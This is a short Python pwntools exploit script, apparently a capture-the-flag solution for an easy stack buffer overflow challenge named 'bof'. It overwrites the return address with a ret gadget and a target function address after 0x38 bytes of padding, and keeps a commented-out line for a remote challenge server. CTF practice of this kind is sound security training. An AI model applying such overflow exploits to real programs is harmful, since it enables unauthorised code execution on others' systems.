#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pwn import *

context.arch = 'amd64'

p = process('./bof')
# p = remote('60.250.197.227', '10000')
# pause()

ret = 0x400699
func = 0x400687

payload = flat(
    cyclic(0x38),
    ret,
    func
)

p.sendlineafter('They said there need some easy challenges, Okay here is your bof, but you should notice something in ubuntu 18.04.\n', payload)

p.interactive()
p.close()
